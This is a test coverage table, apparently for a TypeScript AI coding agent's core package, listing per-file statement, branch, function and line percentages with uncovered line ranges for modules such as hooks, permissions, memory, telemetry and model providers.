  baseLlmClient.ts |    88.4 |     83.8 |   81.81 |    88.4 | ...59,672,678-680 
  client.ts        |   92.46 |    87.73 |   91.76 |   92.46 | ...4146,4244-4245 
  ...tGenerator.ts |   86.34 |    87.34 |   84.61 |   86.34 | ...96-497,542-548 
  ...lScheduler.ts |   90.05 |    84.67 |   96.15 |   90.05 | ...6219,6247-6263 
  geminiChat.ts    |    94.7 |    90.12 |   95.53 |    94.7 | ...5052,5100-5101 
  geminiRequest.ts |     100 |      100 |     100 |     100 |                   
  genai-compat.ts  |     100 |      100 |     100 |     100 |                   
  ...MediaLimit.ts |     100 |       96 |     100 |     100 | 96                
  ...htProtocol.ts |    9.09 |      100 |       0 |    9.09 | ...9,62-66,69-110 
  ...ream-error.ts |     100 |      100 |     100 |     100 |                   
  logger.ts        |   87.41 |    87.02 |     100 |   87.41 | ...64-568,614-628 
  ...lay-buffer.ts |     100 |      100 |     100 |     100 |                   
  ...dispatcher.ts |     100 |      100 |     100 |     100 |                   
  ...tyDefaults.ts |     100 |      100 |     100 |     100 |                   
  ...olExecutor.ts |   93.54 |    83.33 |      50 |   93.54 | 49-50             
  ...on-helpers.ts |   93.49 |    78.57 |     100 |   93.49 | ...10-211,228-229 
  ...issionFlow.ts |   98.97 |    96.96 |     100 |   98.97 | 107               
  ...try-policy.ts |     100 |      100 |     100 |     100 |                   
  ...ell-policy.ts |   94.89 |    88.54 |     100 |   94.89 | ...51-252,297-298 
  prompts.ts       |   93.64 |    91.42 |   83.33 |   93.64 | ...1209,1412-1413 
  ...ing-effort.ts |     100 |      100 |     100 |     100 |                   
  ...n-recovery.ts |   95.13 |       80 |     100 |   95.13 | ...06-107,142-144 
  ...t-profiler.ts |    97.9 |    81.15 |   88.23 |    97.9 | 117,124-125,130   
  ...port-retry.ts |     100 |      100 |     100 |     100 |                   
  tokenLimits.ts   |     100 |    91.89 |     100 |     100 | 87,122-139        
  ...reparation.ts |     100 |      100 |     100 |     100 |                   
  ...tion-guard.ts |   90.38 |    94.73 |     100 |   90.38 | 83-87             
  ...allIdUtils.ts |   98.41 |    93.47 |     100 |   98.41 | 36,45             
  ...okTriggers.ts |   99.45 |    92.43 |     100 |   99.45 | 182,193           
  ...terruption.ts |     100 |     92.3 |     100 |     100 | 86,104            
  turn.ts          |   99.19 |    94.48 |     100 |   99.19 | 680-681,750       
  ...l-fallback.ts |     100 |      100 |     100 |     100 |                   
 ...ntentGenerator |   96.33 |    88.12 |   96.15 |   96.33 |                   
  ...tGenerator.ts |   97.24 |    86.72 |   94.87 |   97.24 | ...1436,1465,1476 
  converter.ts     |   96.19 |    89.25 |     100 |   96.19 | ...1329,1550-1552 
  index.ts         |       0 |        0 |       0 |       0 | 1-21              
  usage.ts         |     100 |      100 |     100 |     100 |                   
 ...ntentGenerator |   88.78 |    72.36 |   89.47 |   88.78 |                   
  ...tGenerator.ts |   87.18 |    71.83 |   88.88 |   87.18 | ...58-364,382-383 
  index.ts         |     100 |       80 |     100 |     100 | 50                
 ...ntentGenerator |   96.12 |     91.3 |    90.9 |   96.12 |                   
  index.ts         |     100 |      100 |     100 |     100 |                   
  ...tGenerator.ts |   96.06 |    90.75 |   90.47 |   96.06 | ...1309-1310,1338 
  ...tDetection.ts |     100 |      100 |     100 |     100 |                   
 ...ntentGenerator |   91.86 |    90.62 |   95.61 |   91.86 |                   
  constants.ts     |     100 |      100 |     100 |     100 |                   
  converter.ts     |    91.3 |    89.49 |   96.87 |    91.3 | ...1942,2111-2126 
  errorHandler.ts  |     100 |      100 |     100 |     100 |                   
  index.ts         |   68.25 |    82.35 |      50 |   68.25 | 44-53,74-78,90-94 
  ...tGenerator.ts |    66.4 |    70.58 |   88.88 |    66.4 | ...51-157,168-169 
  pipeline.ts      |   95.48 |    91.27 |     100 |   95.48 | ...1309,1317,1416 
  ...ix-caching.ts |   95.23 |    92.85 |     100 |   95.23 | 45-46,69-70       
  ...ureContext.ts |     100 |      100 |     100 |     100 |                   
  ...ingOptions.ts |       0 |        0 |       0 |       0 | 1                 
  ...CallParser.ts |   92.24 |     92.4 |     100 |   92.24 | ...28-529,549-552 
  ...kingParser.ts |     100 |    96.87 |     100 |     100 | 42                
  types.ts         |       0 |        0 |       0 |       0 | 1                 
 ...rator/provider |   97.39 |    92.28 |    98.5 |   97.39 |                   
  dashscope.ts     |   98.36 |    95.08 |   96.42 |   98.36 | ...08-709,851-852 
  deepseek.ts      |   94.91 |    89.36 |     100 |   94.91 | ...31-132,145-146 
  default.ts       |   99.18 |    97.05 |     100 |   99.18 | 208               
  index.ts         |     100 |      100 |     100 |     100 |                   
  mimo.ts          |   94.11 |    66.66 |     100 |   94.11 | 29,52-53          
  minimax.ts       |     100 |      100 |     100 |     100 |                   
  mistral.ts       |   96.07 |    73.33 |     100 |   96.07 | 32-33             
  modelscope.ts    |     100 |      100 |     100 |     100 |                   
  types.ts         |       0 |        0 |       0 |       0 |                   
  utils.ts         |     100 |      100 |     100 |     100 |                   
  zai.ts           |   92.13 |    82.14 |     100 |   92.13 | ...,39-40,135-137 
 src/extension     |   87.71 |    84.62 |   92.57 |   87.71 |                   
  ...ive-safety.ts |     100 |      100 |     100 |     100 |                   
  ...-converter.ts |   80.55 |    73.66 |     100 |   80.55 | ...1133,1179-1180 
  corruptFile.ts   |     100 |       50 |     100 |     100 | 40-45             
  ...-converter.ts |     100 |      100 |     100 |     100 |                   
  ...me-refresh.ts |     100 |      100 |     100 |     100 |                   
  ...sion-store.ts |   90.94 |    86.26 |   97.91 |   90.94 | ...1230-1236,1280 
  ...ionManager.ts |   83.89 |    82.86 |   81.72 |   83.89 | ...2832,2861-2862 
  ...references.ts |     100 |     90.9 |     100 |     100 | ...05,129,197,200 
  ...onSettings.ts |    92.3 |     94.4 |     100 |    92.3 | ...98-501,570-571 
  ...-converter.ts |    75.9 |    85.71 |   85.71 |    75.9 | ...98,202,214-248 
  github.ts        |   90.48 |    82.71 |     100 |   90.48 | ...4,994-995,1005 
  http-client.ts   |   84.61 |       80 |     100 |   84.61 | 20-21             
  i18n.ts          |   78.26 |       96 |      50 |   78.26 | 104-110,116-123   
  index.ts         |     100 |      100 |     100 |     100 |                   
  marketplace.ts   |   88.39 |    83.11 |     100 |   88.39 | ...08,494,507-508 
  ...ork-policy.ts |   89.72 |       90 |     100 |   89.72 | ...36,148-154,156 
  npm.ts           |   89.02 |    81.81 |     100 |   89.02 | ...86-688,695-700 
  override.ts      |   94.11 |    93.33 |     100 |   94.11 | 63-64,81-82       
  ...-converter.ts |   94.89 |    90.41 |     100 |   94.89 | ...50-151,222-224 
  redaction.ts     |     100 |      100 |     100 |     100 |                   
  settings.ts      |   66.26 |      100 |      50 |   66.26 | 81-107,141-146    
  ...ceRegistry.ts |   94.01 |    83.14 |     100 |   94.01 | ...38-344,365-366 
  storage.ts       |     100 |      100 |     100 |     100 |                   
  ...ableSchema.ts |     100 |      100 |     100 |     100 |                   
  variables.ts     |   88.95 |    84.21 |     100 |   88.95 | ...32-235,238-241 
  ...extraction.ts |   85.77 |       81 |   89.47 |   85.77 | ...02-205,260-261 
 ...ent-plugins-v1 |   84.94 |    79.51 |     100 |   84.94 |                   
  index.ts         |     100 |      100 |     100 |     100 |                   
  manifest.ts      |   81.87 |    84.48 |     100 |   81.87 | ...55-156,161-174 
  mcp.ts           |   84.98 |    79.56 |     100 |   84.98 | ...88-389,419-420 
  paths.ts         |     100 |    94.44 |     100 |     100 | 59                
  skills.ts        |   82.31 |    63.88 |     100 |   82.31 | ...38-141,150-151 
 src/followup      |   79.94 |    79.28 |    90.9 |   79.94 |                   
  followupState.ts |   98.44 |    95.74 |     100 |   98.44 | 236-237           
  index.ts         |     100 |      100 |     100 |     100 |                   
  overlayFs.ts     |   96.29 |    88.88 |     100 |   96.29 | 78,108,122        
  speculation.ts   |   71.88 |    65.71 |   71.42 |   71.88 | ...55-656,663-664 
  ...onToolGate.ts |   97.97 |     87.5 |     100 |   97.97 | 105,110           
  ...nGenerator.ts |   72.03 |    81.15 |   83.33 |   72.03 | ...68-219,331-333 
 src/generated     |       0 |        0 |       0 |       0 |                   
  git-commit.ts    |       0 |        0 |       0 |       0 | 1-10              
 src/goals         |   92.96 |    89.06 |   94.34 |   92.96 |                   
  ...eGoalStore.ts |   87.61 |    88.88 |   86.66 |   87.61 | ...85-188,196-204 
  ...t-verifier.ts |   96.27 |     90.9 |     100 |   96.27 | ...20,143-146,163 
  ...checkpoint.ts |   81.48 |    76.19 |     100 |   81.48 | ...02-105,115-118 
  goal-evidence.ts |   88.34 |    87.06 |    97.5 |   88.34 | ...1162,1185-1188 
  ...projection.ts |   66.66 |    72.97 |   33.33 |   66.66 | ...87,190,194-196 
  ...ersistence.ts |   87.29 |    85.71 |    87.5 |   87.29 | ...53-154,185-190 
  goal-protocol.ts |   96.87 |    95.65 |     100 |   96.87 | 200-201           
  goal-reducer.ts  |      95 |    92.34 |   97.05 |      95 | ...43,520,538-539 
  goal-runtime.ts  |   96.89 |    89.95 |   95.74 |   96.89 | ...1315-1316,1437 
  goal-tools.ts    |   98.38 |    94.05 |   95.45 |   98.38 | ...98-199,300-301 
  ...rn-context.ts |     100 |      100 |     100 |     100 |                   
  goal-verifier.ts |   92.46 |    92.85 |     100 |   92.46 | ...69-172,185-187 
  goal-wire.ts     |       0 |        0 |       0 |       0 | 1-28              
  goalHook.ts      |   96.91 |    92.42 |     100 |   96.91 | 115-120,221-222   
  goalJudge.ts     |   95.84 |    87.09 |     100 |   95.84 | ...55-356,448-449 
  index.ts         |     100 |      100 |     100 |     100 |                   
 src/hooks         |   88.07 |    86.35 |   88.54 |   88.07 |                   
  ...okRegistry.ts |   86.48 |    77.08 |     100 |   86.48 | ...41-344,362-369 
  ...bortSignal.ts |     100 |      100 |     100 |     100 |                   
  context-usage.ts |     100 |      100 |     100 |     100 |                   
  ...terpolator.ts |   96.66 |    93.33 |     100 |   96.66 | 66-67             
  ...HookRunner.ts |   96.68 |    87.23 |     100 |   96.68 | 110-112,231-233   
  ...Aggregator.ts |   96.57 |    91.48 |     100 |   96.57 | ...20-321,402,404 
  ...entHandler.ts |   95.57 |    84.76 |   94.73 |   95.57 | ...1040-1041,1051 
  hookPlanner.ts   |   87.55 |    85.54 |   86.66 |   87.55 | ...22-226,233-244 
  hookRegistry.ts  |   92.53 |    85.43 |     100 |   92.53 | ...39,458,462,466 
  hookRunner.ts    |   62.65 |    72.34 |   66.66 |   62.65 | ...70-771,780-781 
  hookSystem.ts    |   87.64 |     98.5 |   70.83 |   87.64 | ...58-759,765-766 
  ...HookRunner.ts |   79.06 |    66.66 |      80 |   79.06 | ...33-434,452-456 
  index.ts         |     100 |      100 |     100 |     100 |                   
  ...edCallback.ts |     100 |      100 |     100 |     100 |                   
  ...HookRunner.ts |   94.19 |    84.37 |   81.81 |   94.19 | ...76-384,458-459 
  ...SkillHooks.ts |   78.75 |       75 |   66.66 |   78.75 | 62-66,137-152     
  ...oksManager.ts |   94.87 |    88.88 |     100 |   94.87 | ...84,325,327-329 
  ssrfGuard.ts     |   86.45 |    89.13 |     100 |   86.45 | ...85,289-295,301 
  stopHookCap.ts   |     100 |      100 |     100 |     100 |                   
  trustedHooks.ts  |      90 |    52.63 |     100 |      90 | ...53,66-67,97-98 
  types.ts         |   94.25 |    96.09 |   88.88 |   94.25 | ...46-547,632-636 
  urlValidator.ts  |     100 |      100 |     100 |     100 |                   
  ...it-context.ts |     100 |      100 |     100 |     100 |                   
 src/ide           |   76.98 |    85.03 |   79.03 |   76.98 |                   
  constants.ts     |     100 |      100 |     100 |     100 |                   
  detect-ide.ts    |     100 |      100 |     100 |     100 |                   
  ide-client.ts    |   69.16 |    84.65 |   68.29 |   69.16 | ...1068,1097-1105 
  ide-installer.ts |   89.06 |    79.31 |     100 |   89.06 | ...36,143-147,160 
  ideContext.ts    |     100 |      100 |     100 |     100 |                   
  process-utils.ts |   84.84 |    71.79 |     100 |   84.84 | ...37,151,193-194 
  types.ts         |     100 |      100 |     100 |     100 |                   
 src/lsp           |   58.96 |    70.57 |   66.14 |   58.96 |                   
  ...nfigLoader.ts |   80.55 |       72 |   95.45 |   80.55 | ...02-504,508-514 
  ...ionFactory.ts |   42.81 |    73.07 |      50 |   42.81 | ...76-427,433-450 
  ...Normalizer.ts |   23.09 |    13.72 |   30.43 |   23.09 | ...04-905,909-924 
  ...verManager.ts |   75.73 |     80.1 |   79.66 |   75.73 | ...1346,1352-1382 
  ...eLspClient.ts |   32.78 |       80 |   16.66 |   32.78 | ...89-293,299-300 
  ...LspService.ts |      60 |    73.36 |   78.26 |      60 | ...1575,1635-1645 
  configHash.ts    |     100 |      100 |     100 |     100 |                   
  constants.ts     |     100 |      100 |     100 |     100 |                   
  types.ts         |     100 |      100 |     100 |     100 |                   
 src/mcp           |    82.3 |    77.81 |   78.33 |    82.3 |                   
  configHash.ts    |     100 |      100 |     100 |     100 |                   
  constants.ts     |     100 |      100 |     100 |     100 |                   
  ...h-provider.ts |   86.95 |      100 |   33.33 |   86.95 | ...,93,97,101-102 
  ...h-provider.ts |   79.31 |    58.06 |     100 |   79.31 | ...26-933,940-942 
  ...en-storage.ts |   98.78 |    97.95 |     100 |   98.78 | 106-107           
  oauth-utils.ts   |   73.61 |    85.48 |    92.3 |   73.61 | ...46-366,392-421 
  ...n-provider.ts |   89.83 |       96 |   45.45 |   89.83 | ...43,147,151-152 
 .../token-storage |   82.12 |    88.19 |   89.28 |   82.12 |                   
  ...en-storage.ts |     100 |      100 |     100 |     100 |                   
  ...en-storage.ts |   87.08 |    87.03 |   95.23 |   87.08 | ...00-201,214-215 
  ...en-storage.ts |     100 |      100 |     100 |     100 |                   
  index.ts         |     100 |      100 |     100 |     100 |                   
  ...en-storage.ts |   68.14 |    82.35 |   64.28 |   68.14 | ...81-295,298-314 
  types.ts         |     100 |      100 |     100 |     100 |                   
 src/memory        |   87.83 |    83.81 |   90.47 |   87.83 |                   
  ...y-document.ts |   89.52 |    84.61 |     100 |   89.52 | ...24-325,329-330 
  ...nel-memory.ts |   97.36 |    96.63 |   96.42 |   97.36 | ...91-293,367-368 
  const.ts         |   94.28 |     92.3 |     100 |   94.28 | 66-67             
  dream.ts         |    64.6 |    72.22 |      50 |    64.6 | ...04-109,124-165 
  ...entPlanner.ts |     100 |    83.33 |     100 |     100 | 136,146           
  entries.ts       |   75.59 |    84.84 |   83.33 |   75.59 | ...56-157,172-180 
  extract.ts       |   92.41 |    79.41 |     100 |   92.41 | 56-61,100,119-122 
  ...entPlanner.ts |   91.59 |    76.74 |     100 |   91.59 | ...05,114-117,293 
  ...ionPlanner.ts |       0 |        0 |       0 |       0 | 1                 
  forget.ts        |   81.83 |       75 |   83.33 |   81.83 | ...51,474,478-507 
  indexer.ts       |   94.14 |       84 |     100 |   94.14 | ...32-233,334,337 
  ...kill-agent.ts |   97.94 |    89.36 |     100 |   97.94 | 82-83,179-180     
  manager.ts       |    78.4 |    82.29 |   77.77 |    78.4 | ...1482,1495-1497 
  ...ent-config.ts |   86.99 |    82.69 |   86.36 |   86.99 | ...69,389,396-402 
  memoryAge.ts     |   90.47 |       80 |     100 |   90.47 | 50-51             
  paths.ts         |     100 |      100 |     100 |     100 |                   
  ...ing-skills.ts |     100 |       72 |     100 |     100 | 31-35,73-78,97    
  prompt.ts        |   97.26 |    86.79 |     100 |   97.26 | ...10-218,222,225 
  recall.ts        |   82.06 |       75 |    90.9 |   82.06 | ...59-364,395-406 
  refresh.ts       |   93.58 |    89.58 |     100 |   93.58 | ...75-176,183-184 
  ...ceSelector.ts |    93.1 |    81.81 |     100 |    93.1 | ...25,127-128,136 
  remember.ts      |   98.89 |    90.19 |     100 |   98.89 | 50,70             
  scan.ts          |   93.12 |    77.41 |     100 |   93.12 | ...08-109,154,157 
  scopes.ts        |     100 |      100 |     100 |     100 |                   
  ...et-scanner.ts |     100 |      100 |     100 |     100 |                   
  ...entPlanner.ts |   77.24 |    74.07 |   72.22 |   77.24 | ...52-456,459,465 
  status.ts        |   10.52 |      100 |       0 |   10.52 | 41-98             
  store.ts         |   92.92 |    81.81 |     100 |   92.92 | ...16-117,147-148 
  ...git-status.ts |     100 |     87.5 |     100 |     100 | 30                
  ...cret-guard.ts |     100 |      100 |     100 |     100 |                   
  ...emory-sync.ts |   94.24 |    82.85 |     100 |   94.24 | ...34-236,246-247 
  types.ts         |     100 |      100 |     100 |     100 |                   
  ...ontextFile.ts |   81.21 |     79.1 |   81.81 |   81.21 | ...63-277,291-296 
 src/mocks         |       0 |        0 |       0 |       0 |                   
  msw.ts           |       0 |        0 |       0 |       0 | 1-9               
 src/models        |   92.55 |    88.97 |   91.13 |   92.55 |                   
  constants.ts     |     100 |      100 |     100 |     100 |                   
  ...tor-config.ts |   97.77 |    91.83 |     100 |   97.77 | 155,161,171       
  index.ts         |     100 |      100 |     100 |     100 |                   
  ...nfigErrors.ts |   74.22 |    47.82 |   84.61 |   74.22 | ...,67-74,106-117 
  ...igResolver.ts |   98.71 |    93.33 |     100 |   98.71 | 166,328,334       
  modelRegistry.ts |     100 |    98.11 |     100 |     100 | 177,261           
  modelsConfig.ts  |   89.36 |    86.93 |   88.09 |   89.36 | ...1404,1433-1434 
  types.ts         |     100 |      100 |     100 |     100 |                   
 src/output        |     100 |      100 |     100 |     100 |                   
  ...-formatter.ts |     100 |      100 |     100 |     100 |                   
  types.ts         |     100 |      100 |     100 |     100 |                   
 src/permissions   |   83.79 |    91.16 |   71.07 |   83.79 |                   
  autoMode.ts      |   97.66 |    93.13 |     100 |   97.66 | ...82-589,635,712 
  ...transcript.ts |      98 |       84 |     100 |      98 | 200-201           
  classifier.ts    |      94 |    94.54 |     100 |      94 | 158-165,389-393   
  ...erousRules.ts |     100 |    89.36 |     100 |     100 | 110,133,147,175   
  ...alTracking.ts |     100 |      100 |     100 |     100 |                   
  ...e-commands.ts |   86.77 |     73.8 |     100 |   86.77 | 131-141,210-214   
  index.ts         |     100 |      100 |     100 |     100 |                   
  ...on-manager.ts |   86.63 |    88.88 |      80 |   86.63 | ...1111,1217-1221 
  rule-parser.ts   |   94.49 |    92.72 |     100 |   94.49 | ...1447,1481-1483 
  ...-semantics.ts |   70.44 |    91.09 |   46.66 |   70.44 | ...2237,2311-2314 
  types.ts         |     100 |      100 |     100 |     100 |                   
 ...sifier-prompts |   99.04 |    95.23 |     100 |   99.04 |                   
  system-prompt.ts |   99.04 |    95.23 |     100 |   99.04 | 220               
 src/prompts       |   83.63 |      100 |    87.5 |   83.63 |                   
  mcp-prompts.ts   |   18.18 |      100 |       0 |   18.18 | 11-19             
  ...t-registry.ts |     100 |      100 |     100 |     100 |                   
 src/providers     |   83.71 |     78.6 |   81.25 |   83.71 |                   
  all-providers.ts |     100 |      100 |     100 |     100 |                   
  index.ts         |     100 |      100 |     100 |     100 |                   
  install.ts       |   93.11 |     84.5 |     100 |   93.11 | ...56-257,330-331 
  ...der-config.ts |   75.85 |    74.04 |   78.26 |   75.85 | ...73-474,502-503 
  types.ts         |       0 |        0 |       0 |       0 | 1                 
 ...viders/presets |   97.82 |    91.66 |   63.63 |   97.82 |                   
  ...oding-plan.ts |   87.34 |      100 |       0 |   87.34 | 81-83,86-88,90-93 
  ...a-standard.ts |     100 |      100 |     100 |     100 |                   
  ...token-plan.ts |     100 |      100 |     100 |     100 |                   
  ...m-provider.ts |   97.05 |    81.25 |      75 |   97.05 | 118-119           
  deepseek.ts      |     100 |      100 |     100 |     100 |                   
  grok.ts          |     100 |      100 |     100 |     100 |                   
  idealab.ts       |     100 |      100 |     100 |     100 |                   
  minimax.ts       |     100 |      100 |     100 |     100 |                   
  modelscope.ts    |     100 |      100 |     100 |     100 |                   
  openrouter.ts    |     100 |      100 |     100 |     100 |                   
  requesty.ts      |     100 |      100 |     100 |     100 |                   
  zai.ts           |     100 |      100 |     100 |     100 |                   
 src/qwen          |   85.41 |    78.76 |   95.89 |   85.41 |                   
  ...tGenerator.ts |   98.64 |    98.18 |     100 |   98.64 | 105-106           
  qwenOAuth2.ts    |   82.79 |    73.75 |   90.62 |   82.79 | ...1205-1221,1251 
  ...kenManager.ts |   85.36 |    76.61 |     100 |   85.36 | ...52-757,778-783 
 src/resources     |     100 |      100 |     100 |     100 |                   
  ...e-registry.ts |     100 |      100 |     100 |     100 |                   
 src/services      |   90.29 |    85.74 |    96.9 |   90.29 |                   
  ...ionTrailer.ts |     100 |      100 |     100 |     100 |                   
  ...llRegistry.ts |   98.48 |    87.28 |     100 |   98.48 | 81-82,105,474-475 
  branch-points.ts |     100 |    95.23 |     100 |     100 | ...20,211,224,327 
  ...ionService.ts |   97.51 |    96.15 |     100 |   97.51 | ...,929,1072-1080 
  ...ingService.ts |   91.92 |    86.38 |    94.8 |   91.92 | ...2365,2392-2393 
  ...ttribution.ts |   91.73 |    87.71 |      90 |   91.73 | ...80-685,826-827 
  ...utSlimming.ts |    97.2 |    94.17 |     100 |    97.2 | ...39-340,378-381 
  cronScheduler.ts |   94.17 |    90.45 |      98 |   94.17 | ...1333,1736-1737 
  cronTasksFile.ts |   95.49 |    90.82 |     100 |   95.49 | ...37,346-347,483 
  cronTasksLock.ts |   94.44 |    89.47 |     100 |   94.44 | ...02-103,132-133 
  ...eryService.ts |   96.22 |    93.54 |      90 |   96.22 | 121,155-156,161   
  ...oryService.ts |   88.17 |    79.02 |    92.3 |   88.17 | ...1303,1344-1347 
  fileReadCache.ts |    97.5 |    96.07 |     100 |    97.5 | 349-350,363-364   
  ...temService.ts |    92.8 |    84.68 |   94.11 |    92.8 | ...53,479-486,531 
  ...ratedFiles.ts |      96 |    88.23 |     100 |      96 | 119-120,146-147   
  gitInit.ts       |     100 |      100 |     100 |     100 |                   
  ...reeService.ts |    73.7 |    68.49 |   95.83 |    73.7 | ...2196,2225-2226 
  ...on-service.ts |   87.38 |       72 |     100 |   87.38 | ...01-305,343-344 
  ...references.ts |   98.39 |    88.88 |     100 |   98.39 | 154-155,215-216   
  ...ionService.ts |   98.26 |    97.35 |     100 |   98.26 | ...13-714,761-762 
  ...ticsDumper.ts |   98.37 |    95.23 |     100 |   98.37 | 185-186           
  ...ureMonitor.ts |   95.82 |    90.52 |   97.05 |   95.82 | ...60,861,875-877 
  ...orRegistry.ts |   97.22 |    90.99 |     100 |   97.22 | ...55-456,609-610 
  ...ttachments.ts |   97.74 |     90.9 |     100 |   97.74 | 298-308,646       
  ...pi-history.ts |   98.94 |    88.88 |     100 |   98.94 | 43                
  ...ersistence.ts |   91.66 |    80.75 |     100 |   91.66 | ...1060-1061,1089 
  ...tory-state.ts |     100 |       95 |     100 |     100 | 31                
  ...on-service.ts |   94.49 |    92.26 |   97.14 |   94.49 | ...98-600,656-664 
  ...ce-service.ts |    98.5 |    94.11 |    90.9 |    98.5 | 64-65             
  ...ken-counts.ts |     100 |       96 |     100 |     100 | 58                
  ...ipt-reader.ts |   93.71 |    91.05 |   97.77 |   93.71 | ...2755-2756,2833 
  ...turn-state.ts |   94.11 |     90.9 |   91.66 |   94.11 | 108-112,129-130   
  ...est-helper.ts |       0 |        0 |       0 |       0 | 1-65              
  ...iter-lease.ts |   83.14 |    74.47 |   97.61 |   83.14 | ...2433,2445-2448 
  sessionRecap.ts  |   67.56 |    43.47 |     100 |   67.56 | ...60,178,180-183 
  ...ionService.ts |   89.31 |    85.79 |   96.05 |   89.31 | ...2643,2657-2677 
  sessionTitle.ts  |   95.75 |    77.41 |     100 |   95.75 | ...53-256,287-288 
  ...ionService.ts |   84.43 |    78.45 |   97.18 |   84.43 | ...2496,2502-2507 
  ...pInhibitor.ts |   97.42 |    92.77 |     100 |   97.42 | ...30,169,369-370 
  ...Estimation.ts |     100 |    94.11 |     100 |     100 | 118               
  ...ageService.ts |   97.76 |    91.59 |   93.75 |   97.76 | ...61-262,366,567 
  ...ite-origin.ts |     100 |    93.33 |     100 |     100 | 32                
  ...UseSummary.ts |   94.63 |    88.46 |     100 |   94.63 | ...62-164,214-215 
  ...rd-service.ts |     100 |    88.37 |     100 |     100 | ...29,145-146,241 
  ...oryService.ts |   90.72 |    84.07 |     100 |   90.72 | ...06-509,561-562 
  ...reeCleanup.ts |   14.42 |      100 |   33.33 |   14.42 | 58-186            
  ...ionService.ts |   88.36 |     87.7 |     100 |   88.36 | ...48-449,465-466 
 ...icrocompaction |    98.9 |    95.08 |     100 |    98.9 |                   
  microcompact.ts  |    98.9 |    95.08 |     100 |    98.9 | ...40,749,758-759 
 ...s/visionBridge |   98.81 |    92.12 |     100 |   98.81 |                   
  ...capability.ts |     100 |      100 |     100 |     100 |                   
  ...part-utils.ts |     100 |      100 |     100 |     100 |                   
  ...ion-bridge.ts |   98.72 |    82.35 |     100 |   98.72 | 65,71             
  ...-constants.ts |     100 |      100 |     100 |     100 |                   
  ...ge-service.ts |   98.61 |     94.7 |     100 |   98.61 | ...06,666,679-680 
 src/skills        |   89.29 |    85.92 |   93.61 |   89.29 |                   
  index.ts         |     100 |      100 |     100 |     100 |                   
  ...activation.ts |     100 |    93.33 |     100 |     100 | 93,112            
  skill-curator.ts |   89.71 |    81.54 |     100 |   89.71 | ...01-902,904-907 
  skill-load.ts    |   94.84 |    87.69 |     100 |   94.84 | ...03,223,235-237 
  skill-manager.ts |   84.82 |    85.29 |   83.33 |   84.82 | ...1243,1250-1254 
  skill-paths.ts   |   90.42 |     87.5 |     100 |   90.42 | ...19-120,125-126 
  symlinkScope.ts  |     100 |      100 |     100 |     100 |                   
  types.ts         |   97.91 |    98.03 |     100 |   97.91 | 277-278           
 ...ataviz/scripts |   80.06 |    95.23 |   88.23 |   80.06 |                   
  ...te_palette.js |   80.06 |    95.23 |   88.23 |   80.06 | 261-296,306-328   
 ...s/bundled/loop |   97.48 |    95.77 |     100 |   97.48 |                   
  ...omous-loop.ts |     100 |      100 |     100 |     100 |                   
  ...-task-file.ts |   94.85 |     92.4 |     100 |   94.85 | ...56,367,375-376 
  ...k-resolver.ts |     100 |      100 |     100 |     100 |                   
 src/subagents     |   87.72 |    89.01 |   96.55 |   87.72 |                   
  ...ter-schema.ts |     100 |    98.07 |     100 |     100 | 99                
  ...tin-agents.ts |     100 |      100 |     100 |     100 |                   
  index.ts         |     100 |      100 |     100 |     100 |                   
  ...nt-manager.ts |   84.48 |    85.91 |   94.87 |   84.48 | ...1582,1659-1660 
  types.ts         |     100 |      100 |     100 |     100 |                   
  validation.ts    |   92.46 |    95.18 |     100 |   92.46 | 47-52,63-68,71-76 
 src/telemetry     |   82.41 |    84.28 |   85.74 |   82.41 |                   
  ...ty-tracker.ts |     100 |      100 |     100 |     100 |                   
  config.ts        |     100 |      100 |     100 |     100 |                   
  constants.ts     |     100 |      100 |     100 |     100 |                   
  ...on-metrics.ts |   99.08 |    80.95 |     100 |   99.08 | 185,199           
  ...on-tracing.ts |   76.92 |    75.71 |   73.68 |   76.92 | ...88,395-397,413 
  ...attributes.ts |   96.98 |    91.37 |     100 |   96.98 | ...47-348,366-367 
  ...ag-metrics.ts |     100 |    77.77 |     100 |     100 | 21,40             
  ...t-loop-lag.ts |   96.85 |    85.71 |     100 |   96.85 | 170-173           
  ...-exporters.ts |   65.78 |    83.33 |   55.55 |   65.78 | ...04-105,108-109 
  ...ai-content.ts |    74.5 |    66.41 |   91.66 |    74.5 | ...1480,1493-1502 
  ...i-provider.ts |     100 |       99 |     100 |     100 | 99                
  ...ai-request.ts |   87.52 |    92.79 |   83.78 |   87.52 | ...55-561,564-570 
  gen-ai-usage.ts  |     100 |      100 |     100 |     100 |                   
  index.ts         |     100 |      100 |     100 |     100 |                   
  ...t.circular.ts |       0 |        0 |       0 |       0 | 1-111             
  ...-processor.ts |   99.12 |    96.03 |      95 |   99.12 | 150,379-380       
  ...t.circular.ts |       0 |        0 |       0 |       0 | 1-128             
  loggers.ts       |   60.73 |    78.01 |   66.66 |   60.73 | ...1507,1524-1544 
  metrics.ts       |   80.37 |    82.35 |   80.95 |   80.37 | ...1150,1153-1164 
  otlp-urls.ts     |     100 |      100 |     100 |     100 |                   
  ...attributes.ts |     100 |      100 |     100 |     100 |                   
  ...ime-config.ts |       0 |        0 |       0 |       0 | 1                 
  sanitize.ts      |      80 |    83.33 |     100 |      80 | 35-36,41-42       
  ...rters-grpc.ts |     100 |      100 |     100 |     100 |                   
  ...rters-http.ts |     100 |      100 |     100 |     100 |                   
  sdk-impl.ts      |   93.89 |    86.32 |      75 |   93.89 | ...39,489-490,506 
  sdk.ts           |    82.7 |     90.9 |   66.66 |    82.7 | ...00-204,242-264 
  ...on-context.ts |     100 |      100 |     100 |     100 |                   
  ...ion-events.ts |     100 |      100 |     100 |     100 |                   
  ...on-tracing.ts |   91.17 |    88.72 |    97.5 |   91.17 | ...1920,1949-1952 
  ...etry-utils.ts |     100 |      100 |     100 |     100 |                   
  ...l-decision.ts |     100 |      100 |     100 |     100 |                   
  trace-context.ts |     100 |      100 |     100 |     100 |                   
  ...e-id-utils.ts |     100 |      100 |     100 |     100 |                   
  tracer.ts        |   98.56 |    88.63 |     100 |   98.56 | 52,101            
  types.ts         |   83.09 |    88.31 |   86.36 |   83.09 | ...1467,1471-1478 
  uiTelemetry.ts   |   97.18 |    93.93 |      88 |   97.18 | ...70,314,461-462 
 ...ry/qwen-logger |   74.23 |     80.7 |      70 |   74.23 |                   
  event-types.ts   |       0 |        0 |       0 |       0 |                   
  qwen-logger.ts   |   74.23 |    80.53 |   69.49 |   74.23 | ...1122,1160-1161 
 src/test-utils    |   96.38 |    98.61 |   83.33 |   96.38 |                   
  config.ts        |     100 |      100 |     100 |     100 |                   
  ...st-helpers.ts |   94.11 |       90 |     100 |   94.11 | 69-70             
  index.ts         |     100 |      100 |     100 |     100 |                   
